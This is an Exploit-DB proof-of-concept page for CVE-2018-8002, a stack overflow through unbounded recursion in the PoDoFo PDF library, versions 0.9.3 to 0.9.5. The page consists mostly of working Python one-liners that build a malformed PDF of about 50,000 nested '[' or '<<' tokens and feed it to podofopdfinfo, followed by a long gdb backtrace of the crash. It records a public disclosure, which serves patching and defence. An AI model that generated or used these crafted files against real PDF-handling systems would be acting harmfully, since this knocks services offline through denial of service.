PoDoFo 0.9.5 - Buffer Overflow (PoC)

EDB-ID:

44946

Author:

r4xis

Type:

dos

Platform:

Linux

Published:

2018-06-26

# Exploit Title: PoDoFo 0.9.5 - Stack-Based Buffer Overflow (PoC)
# Date: 25.06.2018
# Software Link: https://sourceforge.net/projects/podofo/
# Vuln Version: 0.9.5
# CVE: cve-2018-8002
# Vulnerability Details:  https://bugzilla.redhat.com/show_bug.cgi?id=1548930
# Exploit Author: r4xis
https://github.com/r4xis



exploit
-------------
podofo 0.9.3 (tested on ubuntu 16.04 32 bit)
$ python -c 'print "%PDF- 1 0 obj<<" + "["*50000' > poc.pdf;podofopdfinfo poc.pdf

podofo 0.9.4 (tested on debian 9.4 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf

podofo 0.9.5 (tested on ubuntu 18.04 64 bit)
$ python -c 'print "%PDF- 1 0 obj" + "["*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf

Note: Also you can use "<<" characters;
$ python -c 'print "%PDF- 1 0 obj" + "<<"*50000 + "startxref 5%%EOF"' > poc.pdf ;podofopdfinfo poc.pdf

reason
-----------
Recursive functions call to each others, until the stack overflow.

backtrace 
-----------
for "[" chars;
...
#28 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#29 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#30 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#31 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#32 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#33 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#34 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#35 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#36 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#37 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#38 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#39 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#40 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#41 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#42 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#43 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#44 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#45 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#46 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#47 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
   from /usr/lib/libpodofo.so.0.9.5
#48 0x00007ffff7ad00af in PoDoFo::PdfTokenizer::ReadArray(PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) () from /usr/lib/libpodofo.so.0.9.5
#49 0x00007ffff7acf57b in PoDoFo::PdfTokenizer::ReadDataType(PoDoFo::EPdfDataType, PoDoFo::PdfVariant&, PoDoFo::PdfEncrypt*) ()
...